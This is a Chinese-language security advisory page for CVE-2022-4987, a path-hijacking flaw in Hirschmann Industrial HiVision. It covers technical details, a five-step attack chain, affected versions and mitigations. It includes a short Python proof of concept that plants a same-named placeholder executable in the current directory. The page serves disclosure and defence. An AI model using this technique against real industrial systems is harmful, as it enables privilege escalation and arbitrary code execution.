IPBUF安全漏洞报告
English
CVE-2022-4987 CVSS 7.3 高危

CVE-2022-4987 Hirschmann HiVision 路径劫持致代码执行

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2022-4987
漏洞类型
路径劫持
CVSS评分
7.3 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Hirschmann Industrial HiVision

相关标签

路径劫持本地代码执行权限提升Hirschmann工控安全

漏洞概述

Hirschmann Industrial HiVision多个版本存在严重安全漏洞。该漏洞源于系统执行用户配置的外部应用程序时,对路径的清理与验证机制不足。本地低权限攻击者可利用此缺陷,在执行路径中植入恶意二进制文件。当系统尝试调用外部应用时,将错误加载并执行该恶意文件,从而在特定上下文中实现权限提升及任意代码执行,严重威胁系统安全。

技术细节

该漏洞属于典型的非信任搜索路径漏洞。Hirschmann Industrial HiVision软件在调用用户配置的外部应用程序时,未对可执行文件的完整路径进行严格的安全检查,而是依赖系统环境变量或相对路径进行查找。攻击者首先需要获取本地系统的低权限访问权限。随后,攻击者识别HiVision配置中调用的外部应用程序名称,并在系统搜索路径(如当前工作目录)中放置同名的恶意二进制文件。当高权限进程或用户触发该外部应用执行功能时,由于路径解析顺序的问题,系统将优先加载攻击者预设的恶意文件而非合法程序。这导致恶意代码以父进程的权限上下文运行,从而实现权限提升,完全破坏系统的机密性、完整性和可用性。

攻击链分析

STEP 1
侦察
攻击者获取目标系统的本地低权限访问权限,并确认运行的Hirschmann Industrial HiVision版本存在漏洞。
STEP 2
准备载荷
攻击者分析HiVision配置的外部应用程序列表,确定目标程序名称,并编写同名的恶意二进制文件。
STEP 3
路径劫持
攻击者将恶意二进制文件放置在应用程序搜索路径的优先位置(如当前工作目录或未受控的PATH目录)。
STEP 4
触发执行
等待系统管理员或自动化任务通过HiVision界面触发该外部应用程序的执行(满足用户交互要求)。
STEP 5
获得权限
HiVision进程加载并执行攻击者的恶意文件,由于外部应用可能以较高权限运行,攻击者获得提升的系统权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2022-4987 # This PoC demonstrates how to exploit the path hijacking vulnerability. # An attacker would place a malicious executable in a path that HiVision searches. import os import sys def create_malicious_payload(target_exe_name): """ Simulates creating a malicious executable named 'target_exe_name'. In a real attack, this would be a harmful binary. """ # Create a simple file that acts as the malicious payload with open(target_exe_name, 'w') as f: f.write('@echo off\necho Malicious code executed by CVE-2022-4987\npause') # On Windows, this might need a .exe extension or be a batch script renamed # For Linux targets, permissions would be set (chmod +x) print(f"[*] Created malicious payload: {target_exe_name}") def main(): # Assume 'notepad.exe' or a configured external app is the target target_application = "configured_app.exe" print(f"[*] Exploiting CVE-2022-4987 on Hirschmann Industrial HiVision") print(f"[*] Targeting external application execution path...") # Step 1: Create the malicious binary in the current directory (often in PATH) create_malicious_payload(target_application) # Step 2: Wait for the HiVision service/user to trigger the external app print(f"[*] Payload placed. Waiting for HiVision to execute '{target_application}'...") print("[*] If triggered, the malicious code will run instead of the intended app.") if __name__ == "__main__": main()

影响范围

Hirschmann Industrial HiVision 08.1.03 (08.1.04 之前)
Hirschmann Industrial HiVision 08.2.00

防御指南

临时缓解措施
如果无法立即升级,建议在Hirschmann Industrial HiVision中禁用“外部应用程序执行”功能。同时,严格限制用户对系统文件目录的写入权限,防止攻击者在受信路径中植入恶意文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表